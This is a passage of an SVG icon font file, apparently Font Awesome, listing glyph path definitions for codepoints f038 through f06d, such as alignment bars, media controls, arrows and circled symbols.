87 <glyph unicode="&#xf038;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45 t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
88 <glyph unicode="&#xf039;" horiz-adv-x="1792" d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45 t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
89 <glyph unicode="&#xf03a;" horiz-adv-x="1792" d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5 t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344 q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5 t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192 q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
90 <glyph unicode="&#xf03b;" horiz-adv-x="1792" d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5 t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088 q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
91 <glyph unicode="&#xf03c;" horiz-adv-x="1792" d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5 t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088 q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
92 <glyph unicode="&#xf03d;" horiz-adv-x="1792" d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5 q39 -17 39 -59z" />
93 <glyph unicode="&#xf03e;" horiz-adv-x="1920" d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216 q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
94 <glyph unicode="&#xf040;" d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38 q53 0 91 -38l235 -234q37 -39 37 -91z" />
95 <glyph unicode="&#xf041;" horiz-adv-x="1024" d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
96 <glyph unicode="&#xf042;" d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
97 <glyph unicode="&#xf043;" horiz-adv-x="1024" d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362 q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
98 <glyph unicode="&#xf044;" horiz-adv-x="1792" d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832 q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92 l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
99 <glyph unicode="&#xf045;" horiz-adv-x="1664" d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832 q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5 t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
100 <glyph unicode="&#xf046;" horiz-adv-x="1664" d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832 q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110 q24 -24 24 -57t-24 -57z" />
101 <glyph unicode="&#xf047;" horiz-adv-x="1792" d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45 t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
102 <glyph unicode="&#xf048;" horiz-adv-x="1024" d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 11 13 19z" />
103 <glyph unicode="&#xf049;" horiz-adv-x="1792" d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 11 13 19l710 710 q19 19 32 13t13 -32v-710q4 11 13 19z" />
104 <glyph unicode="&#xf04a;" horiz-adv-x="1664" d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-8 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q5 11 13 19z" />
105 <glyph unicode="&#xf04b;" horiz-adv-x="1408" d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
106 <glyph unicode="&#xf04c;" d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
107 <glyph unicode="&#xf04d;" d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
108 <glyph unicode="&#xf04e;" horiz-adv-x="1664" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-5 -10 -13 -19z" />
109 <glyph unicode="&#xf050;" horiz-adv-x="1792" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v710q0 26 13 32t32 -13l710 -710q8 -8 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-5 -10 -13 -19l-710 -710 q-19 -19 -32 -13t-13 32v710q-5 -10 -13 -19z" />
110 <glyph unicode="&#xf051;" horiz-adv-x="1024" d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q8 -8 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-5 -10 -13 -19z" />
111 <glyph unicode="&#xf052;" horiz-adv-x="1538" d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
112 <glyph unicode="&#xf053;" horiz-adv-x="1280" d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
113 <glyph unicode="&#xf054;" horiz-adv-x="1280" d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
114 <glyph unicode="&#xf055;" d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5 t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
115 <glyph unicode="&#xf056;" d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5 t103 -385.5z" />
116 <glyph unicode="&#xf057;" d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19 q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
117 <glyph unicode="&#xf058;" d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
118 <glyph unicode="&#xf059;" d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59 q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5 t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
119 <glyph unicode="&#xf05a;" d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23 t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
120 <glyph unicode="&#xf05b;" d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109 q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143 q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
121 <glyph unicode="&#xf05c;" d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23 l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5 t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
122 <glyph unicode="&#xf05d;" d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198 t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
123 <glyph unicode="&#xf05e;" d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61 t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
124 <glyph unicode="&#xf060;" d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5 t32.5 -90.5z" />
125 <glyph unicode="&#xf061;" d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
126 <glyph unicode="&#xf062;" horiz-adv-x="1664" d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651 q37 -39 37 -91z" />
127 <glyph unicode="&#xf063;" horiz-adv-x="1664" d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
128 <glyph unicode="&#xf064;" horiz-adv-x="1792" d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22 t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
129 <glyph unicode="&#xf065;" d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332 q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
130 <glyph unicode="&#xf066;" d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45 t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
131 <glyph unicode="&#xf067;" horiz-adv-x="1408" d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
132 <glyph unicode="&#xf068;" horiz-adv-x="1408" d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
133 <glyph unicode="&#xf069;" horiz-adv-x="1664" d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154 q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
134 <glyph unicode="&#xf06a;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192 q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
135 <glyph unicode="&#xf06b;" d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320 q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5 t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
136 <glyph unicode="&#xf06c;" horiz-adv-x="1792" d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268 q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-30 0 -51 11t-31 24t-27 42q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5 t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
137 <glyph unicode="&#xf06d;" horiz-adv-x="1408" d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1 q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
